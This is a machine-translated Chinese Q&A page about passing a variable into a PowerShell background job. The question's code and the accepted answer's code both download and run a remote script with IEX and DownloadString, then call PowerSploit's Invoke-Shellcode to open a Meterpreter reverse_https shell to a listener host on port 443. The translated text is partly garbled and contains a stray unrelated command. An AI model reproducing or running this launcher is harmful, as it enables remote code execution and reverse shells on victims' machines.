$foo = @("string.here")
foreach ($num in $foo) {
$s = { $WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
$temp = $args[0]
MyCommandlet -Lhost "$temp"
Write-Host "$temp"
}
$id = [System.Guid]::NewGuid()
$jobs += $id
Start-Job -Name $id -ScriptBlock $s -args $num
}
从this修改。 修改:为清晰起见,删除了不必要的代码。
MyCommandlet
期望在使用之前检查的变量(此处为-Lhost $temp
)(它不应为null或空)。
尝试运行上述脚本时收到以下错误消息。
Invoke-Shellcode:无法验证参数' Lhost'的参数。参数为null或空。提供非null或空的参数,然后再次尝试该命令。
修改:Invoke-Shellcode
是原始的Commandlet,我将其引用为MyCommandlet
。出于安全原因,我不想包含完整代码(以防人们自己运行脚本)。有关更多详细信息,请参阅此处的代码
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1
原始的ScriptBlock就像(参见$ temp变量)
{
$WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('PAYLOAD_URL')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}
本质上,变量未正确传递给我的MyCommandlet
,而Write-Host $temp
在同一个上下文中返回非空值(这是正确的)。我知道变量不会传递给其他ScriptBlock,特别是如果它在新工作中运行,但由于Write-Host
能够在作业内正确读取值,还有一些我必须错过的。
根据一些帖子的建议,我尝试了以下替代方案:
...} -ArgumentList $temp
(在ScriptBlock之后)
http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/ {param($temp) ...}
(在ScriptBlock的开头)Start-Job -ScriptBlock {...}
,而不是变量
ScriptBlock。 [scriptblock]::Create(...)
宣布
ScriptBlock Invoke-Command
代替Start-Job
,而不是Start-Job
只是它不起作用(虽然工作略有不同),我
如果可能的话,我想坚持$using:variable
。 $ meteor remove <package_name>
功能。另外,它在我尝试的配置中不起作用。这些都不适合我。
答案 0 :(得分:0)
我找到了一个有效的解决方案,它依赖于使用环境变量,例如$env:myvar
。为了解决上述问题,我采用了这种方式:
$foo = 'string_var'
$env:temp_var = $($foo)
$s = { $WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('PAYLOAD_URL')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $env:temp_var -Lport 443 -Force -Proxy
#Write-Host $env:temp_var
}
$id = [System.Guid]::NewGuid()
$jobs += $id
Start-Job -Name $id -ScriptBlock $s
# Clean-up
Remove-Item env:\temp_var
有关Powershell中环境变量的更多详细信息,请参阅https://technet.microsoft.com/en-us/library/ff730964.aspx
ps :对我来说,为什么上面提出的选项不起作用仍然没有意义......如果有人有任何解释,那将是非常受欢迎的。< / p>